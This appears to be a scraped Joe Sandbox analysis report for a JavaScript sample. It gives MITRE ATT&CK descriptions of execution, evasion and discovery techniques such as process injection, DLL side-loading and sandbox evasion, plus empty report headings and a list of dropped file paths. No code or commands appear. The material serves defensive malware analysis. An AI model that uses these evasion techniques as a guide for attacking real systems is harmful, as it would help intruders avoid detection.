Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1697943393056527466.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\84d8fc68-b486-4866-8311-60ede498e2ad.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2080

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2080

Windows Analysis Report
1697943393056527466.js